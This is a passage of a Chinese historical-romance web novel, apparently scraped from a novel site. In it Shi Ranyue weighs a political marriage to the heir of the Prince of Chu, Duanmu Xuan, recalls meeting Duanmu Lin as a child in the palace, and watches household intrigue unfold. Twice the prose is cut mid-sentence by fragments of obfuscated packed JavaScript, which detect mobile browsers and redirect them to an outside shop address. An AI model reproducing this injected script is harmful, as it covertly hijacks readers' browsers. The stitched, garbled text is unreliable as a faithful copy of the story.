“如果如今这样也不错,那你们豢养那些暗卫和死士做什么?”师冉月道。她闭了闭眼,一口气说下去:“我不晓得方才他与你交底多少。据我所知,他的消息要比我们灵通,范围也比我们大。尤其在京城、在宫中。他手下的人也许不如我们多,但是比我们灵活。与之相比,我们家的人更像是私兵而不是暗卫。更重要的是这是只属于他的而不是楚王府的。再者,只要太子殿下一日不登基,那暴亡的、‘牺牲的’,就不会只是李既、李泊和岳炳。” 师晟垂眸:“若是他肯与我们诚心合作,那倒也罢。只是若他真有心合作,那你的婚姻就会沦为交易。若他反悔,那你的处境将更差。你的婚姻并不能保证什么。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226128|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 师冉月道:“那要看他想要的是什么。” 师晟却仍摇头,只教师冉月先回去。师冉月心下自以为一不做二不休才好,却还是看着兄长眼中的疲惫不忍再继续说,只好转身离开。看着师冉月出了院子,萧晨从屏风后绕出来,走到师晟身后,拿来案上的药油擦在手上,轻轻按摩着师晟的太阳穴,柔声却坚定道:“大丈夫当有决断。六妹妹既已同意,夫君还在担忧什么呢?何况倘若这婚事能成,借着楚王世子的势力,我们弄到那些马匹和铁器也要更容易些了。” 师晟拉过她的手,叹道:“此事成或不成,于小六都没有什么好处。” 萧晨亦叹道:“若是冉月如今有倾慕的人,那也就罢了。可我观察了这些日子,想来这孩子是真没有喜欢的人。何况真心不一定有多要紧。能让冉月的夫家尊敬她爱护她的,一是看她自己的本事,二还是要看我们师家的势力。倘若我们没有那些私兵,没有父祖这些年在朝中积累的门生故友,这种时候,楚王世子又怎会亲自上门提亲呢?” 师晟却仍是没有立刻下决断。他总觉得端木玄在图谋着什么更危险更隐秘的东西,毕竟楚王如今只他一子,继承王位于他是板上钉钉的事,何须大费周折?他担心这种图谋能令师家恢复昔日荣光,亦能让师家从此踏入万劫不复的境地。 于今之际,生死存亡兴许但在一念,即便不顾虑着师冉月自身,他也不能轻易下决断。 只是不晓得小六那个胆大的,与端木玄到底“暗通曲款”了些什么。 师冉月一路木然走回自己的院子,路过师吟月的院落时迟疑了一会儿,还是转身离开。音儿远远地迎着,将她半扶半拽着带回屋来,解开她的披风挂好,又把香薰手炉揣在她手里捂着她微凉的指尖,也不说话,兀自忙得团团转。 师冉月手指轻轻抚弄着手炉上的纹路,袅袅的栀子白苔的香气一点一点缠绕在手指上,蔓延攀升到鼻尖。她轻轻抽动了两下鼻子,单手将手炉搁在案几上,拿起系在腰间的那块只有一半鱼形纹样的玉佩。羊脂白玉的上好底子,微微夹杂了几丝黛色的杂质,却恰恰像是环绕在鱼儿身旁的水波纹,别致非常。她突然笑起来。这般好看的一块玉佩,也怪不得她当年一眼相中了。 承祐二年的时候,八岁的端木萌被大哥端木昀引经据典地教育了一通,什么“子曰”听的小姑娘哭都一愣一愣的,而后便大闹父皇母后,吵着也要到太学与皇兄们学一样的书。彼时帝后都颇宠这个幼女,于是今上当即下令研究起公主的入学事宜,不仅云和公主,除了当时已经备嫁的定陶公主,连着新宁公主和观文公主都一同到太学听学,设立屏风与一般的太学生相隔开来。另令宗室与侯门贵女作伴学。师吟月和师冉月便是当时端木萌亲自给自己挑的伴学。姐妹两人一同入宫,被端木萌热心地亲自请旨一起到东宫去住。岳皇后无奈笑骂:“泼猴子,一个闹不行,倒捉来一帮陪你闹。” 其时师吟月和师冉月已经顶着“五女公子”和“六女公子”的名号与自家哥哥们跟着父亲请来的先生在德清堂学了一两年书。除却师家的孩子,还有世交的人家的孩子,也热热闹闹凑了一帮。不过师冉月自然是不爱捧书本的主儿,碰到感兴趣的话题恨不得追着老师刨根问底,不感兴趣的那是甫一上课了就开始拄着笔杆儿酝酿睡意,或是把前一晚没描完的花样子带到课堂上去,甚至描到书中孔子的画像上。吟月那会儿也只喜欢自己读些正史野史、诗词歌赋,对于先生硬是要求背的“之乎者也”不屑一顾,极其厌烦。再加上师霖、师骁以及官和言的二哥两个会闹的,师家的家塾也算是鸡飞狗跳,成日里不得安宁。 于是乎,对于“伴学”这件事,师冉月的理解就是换个地方继续玩,师吟月的理解就是换个地方继续应付“之乎者也”,遂被师道旷和唐烨联合教育了一通。 唐烨语重心长,怕她们言语不当、行事不端,惹出什么祸来。 岳诗韫却只是很无所谓地挑眉,道:“女孩子家,进了宫也是归皇后娘娘管,有什么可担心的。” 不过是一群小孩子在□□哄着端木萌玩一玩,能有多大风浪呢。 唐烨扶头叹气。 14. 第 14 章 等住进了东宫,师冉月才发现除了自己原先就熟悉的太子殿下与云和公主两兄妹,还有端木氏宗族里的几个孩子也被安排在东宫住。不过师冉月从小脸盲,端木萌拉着他们互相介绍了一番后,当下是都彼此见过了礼,可转头师冉月就都忘在了脑后。 端木萌是不会只与女孩子们习书做女工的,去太学的新鲜劲过了便又换上男装跑到马场跟兄长们骑射。彼时师霖也进了太学,更是常被几个皇子拉到马场去比赛。师霖的骑射不是由宫里的师傅教习,路子又狂又野,常常在马场上一骑绝尘。端木昀和端木齐年长他两三岁,也赞叹不已,一边笑骂一边也甘拜下风。唯独端木萌很不服气,趁着师霖和哥哥们比试练习时,就一边详装自己学着,一边观察他的路子,几次下来便觉得已经摸清了他的路子,自信满满约他单独比试。 师霖闻言,叼着根草在嘴边哼了一声:“公主殿下要玩,臣就不奉陪了。” 端木萌骑在马上居高临下,道:“怎么,你瞧不起女子?” 师霖嗤笑一声:“怎么会。我家两个妹妹的骑射就是我们兄弟几个亲手启蒙的,虽说比不上外头专业的,却也颇有能耐,不比同龄的男子差。”他说着也翻身上马,与端木萌并行在马场上。两匹马慢悠悠地踏着沙地,微微掀起尘土来,混着落日的余晖漫延在地平线。 “公主殿下金枝玉叶,若是因为意气用事,与臣比试,伤着了哪儿,臣可担待不起。” 正说着,端木萌就一皱眉,勒紧了缰绳停下步子。 “怎么了?” “马鞍有些不舒服。” “下来,我看看。” 端木萌利落地翻身下马。师霖上前去仔细检查了一番端木萌用的马鞍,有些不屑地嘲讽道:“马鞍上还要镶珍珠,不知道你是怎么想的。” “谁规定了马鞍上不能镶珍珠?”她那马鞍是命人特意定制的,外面罩着的红黑相间的布料上绣了小马驹的纹样,周围一圈的穗子上串着珍珠。 师霖无奈道:“没谁规定。只是想来给你做马鞍的人见着你这要求就当你是要个花架子,没给你认真做,尺寸不大标准,骑得快些就容易不适。” “那就不是珍珠的事。”端木萌气势不减,又发愁道:“那我们怎么回去?”他们二人已经骑到了马场另一边,周围没有旁人,也没有别的马了。 师霖抬了抬马鞭指着自己的马。 端木萌却皱眉:“你坐过的马鞍,都变色了,我不想坐。”师霖对于自己的马具情谊深厚,癖好特别,不像旁的豪门子弟动不动就换新的。如今这个马鞍还是三年前就开始用的了。 “没别的办法,要不然殿下就自己走回去吧。” 端木萌回头望了望小的像虾米的马场大门和观马的高台,果断上马。 师霖暗笑,把马鞭递给端木萌,道:“那就请公主殿下将就将就罢。”说着和抬起蹄子慢慢往回走的一人一马并肩,一手还牵着端木萌那匹有着温顺的睫毛和眼睛但跑起来一点不输的年轻母马。 端木萌冷不丁道:“那我跟你那两个妹妹比,谁更厉害些?” “比这个干嘛?” “我若是比她们厉害,就当你这个师傅教的不好,便放你一马。若是她们更厉害,那你也教教我,怎么样?” 师霖看向端木萌,八岁的小殿下连头发都没有多长,镶玉的发带高高挽着,发尾不过比肩膀稍长一点。 师霖转回头去,眼睛里满是狡黠:“那我可说不清,何况她们两个又不是我一人教出来的。不如你哪天叫她们与你比试比试。” “不行呀。”端木萌皱眉:“容琯好说,容琇没事就去母后殿里看书,哪里叫得动?” “叫小六也行。论骑射她比小五倒厉害些。大概是小时候跟着殿下上蹿下跳,体力比小五好得多。” 远处高台上,岳皇后笑着看着两个孩子,道:“瞧他们两个,性子也合,相貌也合,倒不如定个亲,才不算辜负了这青梅竹马的情谊。” 身边的黄掌宫笑道:“五殿下前两日还说三公子捉弄她,往她头上放蚂蚱呢。” 岳皇后一撇手帕:“这正是青梅竹马的样子。外头那些小子见了公主们像耗子见了猫,毕恭毕敬又心怀鬼胎的,那怎么行。”不过话一转又发起愁来:“倒是子持这小子,才这么点就看出来眉眼像极了师太傅,万一过几年也是个招摇过市的,满城姑娘的眼光都被他吸去了,那也不大好。不行不行,这么说更得把这两个孩子的姻缘早早定了下来,免得将来谁先一步招了子持做女婿,本宫也不好坏人家婚事了。” 师冉月“噔噔噔”跑过来,腕上金镯子坠着的铃铛“叮铃铃”地响个不停。她拽着岳皇后的袖子问道:“娘娘在看什么?” 岳皇后叫身旁的嬷嬷将她抱起来看,拉着她的手道:“容琯,叫云和做你的三嫂怎么样啊?” “三嫂?像大嫂那样吗?” 端木萌和萧晨可是天差地别的性子。岳诗君正要再解释,却有宫人寻来,道:“皇后娘娘,纯妃娘娘胎像不稳,太医说怕是要早产了。” 岳诗君一瞬间冷了神色,眉心皱起,眼底的神色有些直到如今师冉月都不大想的清。她将师冉月托付给身边的小内侍怀安,又嘱咐人叫端木萌和师霖也回去,便带着一身寒气急匆匆往回走。 当晚除了新宁公主,其余皇子公主等人也都留在了东宫。端木昀尽力安抚着幼小的几个弟妹。不过端木萌并不在“幼小”的行列内,嘴上说着白日里练习骑射累着了要早睡,实则自己一个人偷偷溜回了宫。师吟月是真的作息规律,何况事情本也与她没什么关系,甚至还在琢磨不过是一个妃嫔生产,何至于这般兴师动众,哪怕是皇上最宠爱的官纯妃也有点不同寻常,想着想着便也睡着了。师冉月连日里被宫里的规矩吓得不太敢胡来,白日里精气神没有被消耗,因此一点也不困,却也不好吵师吟月,于是便自己偷偷溜出去寻乐。 也没有叫音儿和水杏,摘下手上的铃铛镯子,她自己穿着一身水青色的小襦裙就悄悄隐入了夜色中。借着身材小又动作轻,躲过了夜里巡视的宫人,也彻底远离了人群。凭着高高悬着的宫灯,她依稀识别着方位,找到去年中秋她和端木萌偷偷埋酒的那棵树下,看见形状熟悉的怪石头,才松了一口气。 连踢带搬挪开石头,她却看着土发起了愁。当初埋的时候是端木萌去叫人找了花房的工具来挖土,如今她什么也没有,四处寻了一圈,也没有看见趁手的石头,又不忍折断树枝,只好拔下头上的银篦来勉强挖土。 “你在做什么?” 裙子卷成一团窝在怀里,袖子也全都挽了上去,师冉月正挖的起劲儿,冷不丁听到问话,吓得一屁股坐在刚挖好的土坑旁。 来人却被逗笑。师冉月抬头一看,觉得眼前人有些眼熟,像是前些日子端木萌介绍的那些人中的一个,想来就不是坏人,先松了一口气,却又听那人问:“你是东宫的小宫女,还是哪家的姑娘,这么晚了怎么不回去就寝?” 师冉月拍拍手站起来,那人原先躬着身看她,也随着她的动作直起腰来。两人还差了一头多的距离,不过好歹师冉月能看清他的脸了,只觉得这人剑眉星目,嘴角笑意温润如玉,虽是看上去只十二三岁的样子,已经像是画本子里的翩翩公子,比起师霖那样看上去就像是个“祸水”的风流纨绔,眼前人才是“陌上人如玉,公子世无双”,大概不会是会去告发她偷溜出来的人,却也只道:“你是谁?而且这么晚了,你不也在这里。” 那人又笑开来,看着她只觉像是某种毛茸茸的小动物,从自己的巢穴里警惕地探头,道:“我叫端木凛。如果我没记错,你应当是云和的伴读,师太傅的小女儿师容琯吧?” 师冉月讶然:“你怎么知道我是谁?” “那日云和不是与我们介绍过了吗?” 师冉月想想,点点头,介绍过是介绍过,只是她都忘在脑后了,也没觉得有什么记住所有人的必要。比起姐姐以能快速记住所有人为荣,她只觉得麻烦。不过听他介绍自己姓“端木”,又叫端木萌为“云和”,又不是皇子,大概也是端木氏宗族中哪位亲王之子、端木萌的堂兄罢。 比起捋清这些,师冉月更急着确认:“你不会去皇后娘娘那儿告发我吧?” “告发你什么?” “没有好好睡觉,偷溜出来......” “不会,你放心。”端木凛笑道。 “那就好那就好。今天下午皇后娘娘回去的时候好像生气了,很吓人,要是这时候让她知道我不听话,说不定要被打板子。” “不听话就会被打板子?” “对呀,我那天听太监们说,有个人不听淑妃娘娘的话,就被打了板子。”不过她很快从打板子的事里跳出来,挥了挥手道:“你要回去睡觉了吗?不回去的话来帮帮我吧。” 端木凛把白衣服下摆系在腰上,也在小土坑前蹲下来,问:“你这是在挖什么?” “秘密。挖出来就给你看。” 端木凛接过她手里的银篦帮她挖着,师冉月又从头上拔下来了一只簪子,那簪子做成了扁头的样式,倒正好方便挖土了。好在当年两个小姑娘也没有埋的太深,又有端木凛帮助,没一会儿就看见两个圆圆的小酒坛盖子露了出来。端木凛又将酒坛周围的土往周边拨了拨,很快就轻松地拔出了两个白瓷的小酒坛。 “你们两个小姑娘在哪里搞的酒?”端木凛惊讶。 “从贤妃娘娘那里顺来的。贤妃娘娘有好些好酒呢,她说这酒甘甜又不烈,我们也可以喝。” 端木凛起开酒坛闻了一闻,像是果酒的味道。看着小姑娘眼巴巴地瞅着他手里的酒,只好道:“这酒应该再埋几年再喝才好。我那里也有这样的酒,明日叫人给你送去。” 师冉月蔫蔫地答应了,又不自觉连打了两个哈欠。端木凛快速又把酒埋了回去,又看师冉月倦的眼皮打架,便把披风解下来给她披上,领着她走回住处去。 一路上师冉月困是困,嘴也没停下,问道:“你是哪个王爷的儿子啊?” “楚王。我的母亲和太傅夫人 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“那你想让我叫你什么?”端木凛边问边思考,“那天云和说你叫师容琯,容琯是你的闺名吗?” “容琯是我的字,我闺名叫冉月。凛哥哥,你的字是什么啊?”国朝一般男子入学即由师长取字,勋爵世族或是读过书的人家也会在及笄或出嫁时给女儿取字。吟月和冉月的字要早些,是在她们跟着兄长入家塾时就由赵太夫人与太傅夫妇商量着敲定了的。 “我字常更。” “长庚星的长庚吗?”她不久前才在书上看到过长庚星,觉得这个星星的名字读起来颇有嚼劲儿,就像嚼糯米糕的时候一样,因此记得倒牢。尤其是发现端木萌不认识这个星星的名字后就更得意了。 “不是。常是经常的常,更是日月更替的更。” “那我就叫你常更哥哥吧!你可以叫我容琯。” “好啊。” 这般一路说着,等到了师冉月住的侧殿门口,三更天都快过去了。师冉月站在廊下把披风解下来,硬要亲自再给端木凛系上。端木凛无奈半蹲下来等师冉月微微点着脚系好,一起身时腰上缀着的玉佩一晃,便被眼尖的师冉月瞧见,赞叹道:“哇,好漂亮的玉佩。” 那玉佩是个双鱼环绕的纹样,中间有暗扣可以一分为二,是端木凛学画一载时自己设计的纹样,用他外祖父送给他的一块白玉请了人雕刻而成。不是太稀罕的玩意儿,却是精巧别致、独一无二的。 端木凛将玉佩解下来,拆开暗扣,将一半的那一条鱼递给师冉月,道:“送你了。我们一人一半。” 师冉月兴高采烈,当下便将那一半玉佩系在腰间,和赵老夫人送给她的一块玉珏左右相对。她谢过端木凛,又惦记着他答应的酒,提醒他莫忘了,一回头看见吟月披着披风在廊下看她,忙与端木凛道别,匆匆拉过师吟月的手回了殿内。 “若我没记错,那人是楚王世子吧,你怎么能随便收了人家的玉佩?” “没事的姐姐,他是个好人。”师冉月抱着师吟月拿出那一套被师霖批为嬉皮赖脸的撒娇功夫,又转移话题:“姐姐今天早上不是也收了屏南侯世子摘的海棠花?” 师吟月霎时红了脸,只催着师冉月去睡觉了。 如今一别经年,物是人非。师冉月手指摩挲着那半块玉佩,来回拨动着暗扣,想起那年两个小孩子幼稚的话还有些想笑。又莫名想着,也许将来什么时候她再想起如今,可能也是一样觉得幼稚。 后来端木凛并没有如约给她果酒,而是弄了一坛果汁来糊弄她。她当年也没尝过酒味儿,傻傻的就相信了,还分给了吟月和端木萌。不过那之后不久,伴学的事也因为平卿贵妃逝世不了了之,新宁公主匆匆和当时也入了太学的小屏南侯李既订了婚,留下黯然神伤和她一同回了师家的师吟月。不过不久师霖和端木萌也被赐婚,倒还算好事一桩。 只是她与端木凛,这些年却再未谋面了。书信里的称呼从“容琯妹妹”到“容琯”再到“阿琯”,字迹也越来越成熟从容。除却中间那几个月,竟从未断过,直到她到了逢州。 师冉月放下玉佩叹了口气。想来师家落难这么大的事,他也不会不知道。 音儿迟疑着靠近,端来一碗温好的红枣百合粥,而后就默默垂手站在一旁,也不言语。师冉月看着好笑,端起粥碗吃了几口,道:“怎么不说话。” “姑娘,你真的要嫁给楚王世子吗?他毕竟不是凛公子。” “是不是又怎么样。难道我要为了他终生不嫁吗?他如今那般处境......此生是否能再见一面都两说,便是见了,我也无法嫁给他。” “姑娘是为了家里?” “我也不讨厌端木玄,这并不算是多么大的牺牲。何况这样我也不是成日里什么都不能做干吃白饭的了,总还算有一点用处。”师冉月喝完了那碗粥,胃里暖和起来,倦意也爬了上来。音儿帮她卸了钗环,默默收好在妆匣里。师冉月盯着妆匣发了会楞,自嘲一笑,转身就寝。 15. 第 15 章 一夜无梦,以至于师冉月早上被音儿叫醒时差点忘了昨日都发生了些什么,听音儿一边给她挽头发,一边说楚王世子已在前院等着见您,才猛地反应过来。 她眼睛还半睁不睁着,嘟囔道:“怎么来这么早,晦气。” “哪里早了我的姑娘呀,五姑娘都在大夫人那里用过早膳回来了,路过咱们院子,听说你还没睡醒,不许我们叫你,自己回去了。” “姐姐这些日子怎么倒喜欢出来活动了,身子可是好转了?” “看起来有些精气神儿了,不过面色还是不好,说话间也是不住地咳。” “郎中怎么说?” “织云姐姐说开的药还是从前那些,而且郎中说五姑娘身子弱,不敢用太重的药,反而有些减轻了剂量。” 师冉月叹气:“这是宫里的太医惯用的招数,怕的就是用药太猛出了意外担上责任......罢了,如今若是一下子请个什么江湖郎中猛地用药换药,也不保准。听说过几日二嫂请的息州的名医就要到了?” “是,大概是在四公子婚宴后两天。” “也好。四哥成亲,五姐姐也能高兴些。”她这会儿可算是完全清醒了,自己拿着脂粉略微上了点淡妆,换上身松花黄色的衣裳,从案上摆的果子里随便拣了一个边走边吃,便往前院去。 前厅里涌动着客套又沉寂的气息。师冉月远远望见师晟与端木玄一左一右坐在主位,下首还坐着大嫂萧晨,便觉得有些头疼了。她微笑着踏进门去,道:“给世子爷请安。问大哥、大嫂安。”又紧接着向师晟和萧晨问:“世子远道而来,怎么不见我二嫂、三嫂?” 却是端木玄站起身道:“今日是在下有事前来单独拜访二姑娘。不知二姑娘可否借一步说话?” 师冉月看着他装的风度翩翩的样子忍不住嘴角抽动,看向师晟和萧晨,两人眼里都是默许,便道:“正好我起晚了,还未吃过早饭。我知道前面巷子里有一家包子做的甚好,不知世子爷介不介意?” “自然不会。” 二人便向师晟和萧晨夫妇告辞,并排往外走。萧晨看着两人背影,神情松懈下来的同时又满眼担忧不解:“怎么这两个人瞧着倒像是已经成婚的样子。” 师晟却松松落落地站起身,背着手,嘴角噙着些笑意,一副大事已定的样子,道:“昨日你还劝我不要妇人之仁,如今你又开始担忧上了。” “我瞧着小六总像看女儿一样。我作为师家宗妇、作为他们的大嫂是一回事,嫁女儿那又是另一回事了。这孩子到现在还爱睡懒觉,也是咱家没有那些晨昏定省的破规矩......不过连早饭也不好好吃,这以后可怎么行。” 师晟笑着扶她一同回屋,道:“幸亏焕儿是个男孩子。” “婷姐儿她们将来我也是要担心的啊......不提这些,还是抓紧再核对一遍后日子锋成亲的流程才是正事。” 师冉月一路领着端木玄到了巷口包子铺,上下打量他一番,只是穿着寻常衣服,未戴玉冠之类的,遂才安然坐下,熟练地叫老板上了两笼灌汤包。 音儿也未跟着,端木玄身边的侍从也离得远远的。师冉月就当没有端木玄这么一个人坐在对面似的,该吃吃该喝喝。吃了一笼蟹黄的,又吃了一笼鲜肉的,末了嫌口有点干有点腻,又叫了碗清汤小馄饨。等馄饨的时候才看向一脸笑看着他的端木玄,道:“你要也想吃就自己点。” “不了。我用过早膳了,家里嬷嬷做的桂花糖糕,二姑娘有没有兴趣尝一尝?” 师冉月摇摇头,接过馄饨,对着掌柜的甜甜道了声谢。那掌柜的也顺嘴问道:“姑娘,你从前都是带着你阿妹来,这小郎君是你什么人哦?”她说的阿妹是音儿。两个人独自在外面时总是不分主仆,以姐妹相称。 师冉月也不含糊:“我未婚夫婿。” 端木玄倒愣了一瞬,随即反应过来,从怀中取出二两银子递给掌柜的,道:“未来得及包红封。感谢掌柜的照顾我未婚娘子的胃口了。” 两人大方的好像已经订婚许久,倒叫人也不好调侃什么了。 师冉月迅速吃光了馄饨,总还是觉得心里别扭。虽说面儿上做给人看的是演的炉火纯青——她时不时抬头瞄两眼端木玄,却也只能看见他那张装的泰然自若的皮,心里便更不舒服起来。 端木玄看她放下碗筷,便把帕子递给她,并用眼神示意掌柜的还在看,拒绝了她用自己的帕子。师冉月只好笑笑,接过暗青色的帕子轻轻擦了擦嘴角,便将银子放在案上起身向芥湖边走去。端木玄倒是在后面不紧不慢,还跟掌柜的打了个招呼寒暄了两句,才小跑了几步追上师冉月。 “怎么这回如此干脆,也不抓着我说废话,直接向我大哥提亲了?” “那会儿提亲,你们家在京城呆的好好的,没有什么考虑我的必要。”端木玄直言。 师冉月低头叹了口气,踱步在廊桥上,木头发出些吱呀吱呀的暗哑声响。“我们家也不是都没有那般远见。” “你家久享富贵安稳,日子过得安逸,自然难往远想。而我日常惊惧不安,自然多想一些。”师冉月扭头看他,他虽没看着她,只是淡淡地望着远方的湖面山峦,眉间也很舒展。想来过去种种他也是被迫,师冉月便有些不忍。 二人沉默着快走到湖心的亭子,方才停下来凭栏歇息。端木玄随手折了枝芦苇在手里把玩,师冉月见了,也不自觉伸手向一枝长得很高的芦苇,却用了一会儿力仍未能掰下来。端木玄见状,伸手轻轻往没被反复掰过的方向一折,芦苇便断下来。 “我听说二姑娘前些日子一直流连田间,可看见了什么?” “农人辛苦。”师冉月轻轻拨弄着芦叶,道:“但江浙这一带近两年收成还不错,纵然是少地的农人也能勉强糊口。京城那些流民今年大多是皖地的。江水大小决口不断,治水却一直没有什么成效。不必说农田,便是房屋也被淹了不少,根本没法住人。还有些,是晋北的,去年大旱。” “这都是天灾,朝中也知道。还有人祸,为了不叫灾民进京告发,流民根本就没有踏上进京路的机会。何况流民也并不都在京城。往京城或是富庶郡县走的是为了讨朝廷一口救灾粮,还有的见识多些,是往地力富饶之处寻出路。或是有勇的,也有往从未开辟过的偏僻之地重新开荒的,指望着新开出来的地,朝廷还没来得及登记造册的,归自己种,也没有税收。” 师冉月默默听着,忍不住盯着端木玄的眼睛,他却好像只是陈述着事实,眼里并没有什么感情。端木玄倒是被她盯着掀起嘴角,道:“怎么,你那点闲着没事的怜悯,竟能让你想要出手改变什么吗?” 师冉月黯然。她后来叫音儿向织雨打听了师吟月与萧晨争执的原因,觉得只不过师吟月是怕她见多了,积累起那些无用的怜悯,倒把自己压垮了,端木玄却是站在对面,纯粹地嘲讽。 端木玄却突然笑开,换了个话题道:“不问问我想和你联姻的目的吗?” “堵我的嘴?”毕竟成婚后夫妻一体,若是端木玄的身世被捅破,她也没什么好处。 端木玄嗤笑一声:“我堵你的嘴有的是方法,哪怕要了你的命又能怎么样。” “世子手下的杀手和探子都是顶级的,甚至据我所知早在几年前那些人就已经不听命于楚王府,而只归世子调遣了。” “的确。但是我手下的人都只能在暗处,打探消息,或是解决少数人是没有问题的,但你们家养的私兵却已经有了些规模。而你们家缺的恰恰是消息。” 师冉月闻言忍不住在心里自嘲,但道:“那又如何呢,不过比寻常侍卫多了些人数和器械罢了。若想与禁军匹敌是万万不能的。”端木玄的确一下子看中了师家的痛处。朝中望族,尤其是久居京城的,大多会暗中培养些自己的势力,包装成家丁的杀手、暗卫、探子,但是有私兵的应该只有师家。历届君王多少都知道些,只是也不清楚虚实,不能明着一举消灭,便暗中刺探打压,或是使朝中势力互相牵制。虽然的确看上去没有对端木氏的统治产生太大威胁,然而朋党间互相牵制时也未免攀比着彼此都把势力更加发展壮大了。 师家的私兵大概是从三代之前就开始培植,到师虑和师道旷年轻时因为单传又不常在京中,便有些停滞,但随着师晟兄弟四人陆续成人,仕途上也没有什么成就,加上党争逐渐兴起,这才加紧了培养。人数不过一千,大多是师家签了死契的或是家生子中挑选出来的。秉着在京不在多,又加上后来师穆、师骁在军中任职,熟悉了禁军的路子,便整合了朝廷练兵的方式与培养杀手的法子。但也因为建制较大,不太灵活,没有太涉猎刺探消息的领域。加上久居京城,铁器不好运输铸造,近些年发展也颇有限制。 不过有这些私兵做底,也未免助长了师道旷等人的自大轻敌,在师道旷左迁御史大夫后并没有太多准备,也不好灵活调动,最后才被打了个措手不及,勉强稳住撤回逢州。 “若能与禁军匹敌,倒不如直接割据称王了。我瞧着逢州这块地界就不错。”端木玄亦玩笑道。 “所以呢,你是想割据称王么?”师冉月挑眉看他,道,“说句不敬的,王爷总有一天要驾鹤,楚王府如今也只有你一个男丁,也册立了世子进了宗谱,继承王位是必然的事。” “人总是不满足的罢。”端木玄眸色深沉,像是可以把师冉月吸入包裹。他转过头,又将渺远的山色盛回眼底:“能更进一步,两相得益,有什么不好呢。何况我也该有一个世子夫人了。” 师冉月皱眉道:“去年末绵姐姐不是刚给你生了长子。” 端木玄挑眉:“是,那又怎样?” 师冉月无奈,却又突然想到了什么似的,往远处打量了一番,道:“这次那个侍女怎么没来?就是把我从宫里带出来那个。方才在我家中时也没看见她。” “烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226130|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水有别的事。” “哦。”师冉月点点头,若有所思却也不再打听。二人并肩站了一会儿,直到飘了些雨丝,师冉月才道:“后日我四哥成亲,我便先回去了。世子自便。”说罢行了一礼,便转身离开,没走几步便看见音儿打着伞快步跑了过来将她拉到伞底下,又叫她自己撑着伞,将披风给她披上。师冉月笑道:“这么点儿雨,我哪有那么娇贵。” “等姑娘着凉了难受了就娇气了。” 师冉月和音儿相携着往回走。快走到巷子口,雨又大了些,原本闲散唠嗑的人也都散去,摆着小摊的木匠也挪到了屋檐下,卖包子的掌柜也叫伙计撑起了雨棚,她却看见端木玄的侍从仍侯在马车旁,并没有过去送伞。再一回头,褐色的身影在雨中仿佛与远处群山融为一体,孤零零的。 很快更大的雨滴砸下来,天地一色。 虽然师骁成亲应该算是师家搬到逢州后第一桩喜事,但在景家晏夫人的帮助下也顺利的很。有过师穆和师霖两场婚事,常规的流程萧晨更是轻车熟路。 于是哗啦啦一天一夜的爆竹声中,师家多了一个四夫人张雁。 这是个面相敦和、性情腼腆的姑娘,圆圆的眉头眼角没有什么棱角,全身上下一片柔和。她完全是在《女戒》《女训》下教导起来的姑娘,旁的诗书却没有看过多少,但是料理家室却也很娴熟。 成亲第二日一早,新妇与家中其他人见过礼后,为着怕劳累到,萧晨便先叫众人散了。端木萌慢悠悠地和师霖并肩往回走,旁边尧儿捧着盏切好的桃子喂着。“我以为四弟那样的性子,会找一个泼辣的新妇呢。” 师霖没有太多关心张雁,只道:“你多小心些自己罢。我这些天提心吊胆的,在外面也总担心。” 端木萌锤他道:“还不是赖你?二哥也没像你这么抱怨。” “那是二嫂稳重,比你不知道让人省心多少。” “我不比小六稳重得多。”端木萌又吃了口桃子,却有些恶心,尧儿忙端走桃子,绵儿紧接着端上一碗酸梅汤来,师霖亲自顺着她的背一点一点喂她喝下,又无奈叹气:“这和小六有什么关系。何况过些日子小六嫁到慕州去,这家里可就真没人给你垫背了。” 慕州楚王府。 “侧夫人,烟水姐姐刚刚派人传话来,说傍晚世子爷就会到慕州城了。” 林绵正哄着端木城用午膳。这孩子近日里总是偷吃丫鬟私下里塞给他的糕点果子,正餐便吃不下什么,却搞的时不时便腹痛,叫府医来看了,只开了点调养的药,劝严加看管,莫要私下乱吃零嘴。 “这两日不是师家四公子娶妻?世子怎么未在逢州观礼,早早回来了。” “想是要料理西院的事。”樱桃压低声音道。林绵敛了神色,只专注喂着端木城吃菜,慢慢道:“罢了,与我们无关。我如今只守好城儿过日子就是了。”她心知端木城是庶长子,虽然说端木玄看上去对此事并没有什么忌讳,但来日的主母若是介怀,他们母子便没有什么好结果了。因此知道端木玄属意师冉月做正妻,她倒是松了一口气。 暮色西垂,端木玄也果然骑着马赶着关城门前进了慕州城,一路上遇见了熟识的人还不紧不慢地寒暄,差点被慕州太守的次子拉进了花楼。就这么晃悠到满城掌灯,才进了楚王府的大门,把马的缰绳扔给侍从,脸上的笑慢慢冷却、滑落,踱步到王府西院。 烟水遥遥迎着行了礼。褪去了在外随行时的暗色紧袖衣着,穿着一身一等侍女的淡烟色装束,头发挽作发髻,戴着王府管事的簪子,不施脂粉却也能看出是个眉目秀丽的佳人。只不过常年习武和做杀手的经历叫她那本该温婉的柳叶眉满是英气,眼间萦绕着深秋井水般的凉意,叫下属和府里的侍从都不敢直视。 待端木玄走进,她才沉声道:“王爷近两日都未进水米,今晨开始昏迷不醒。王妃执意要见小郡主。”端木玄神情未变,推开西院多年未翻修的有些陈旧的门,绕到内室榻前,看着榻上昏迷的端木横,眼里没有一丝感情。他绕到厢房,看见门口守着烟水的下属近黛和寒峦,在门口站了一会子,屋内寂静无声,便对二人道:“明日晨起,送王妃去别苑。” 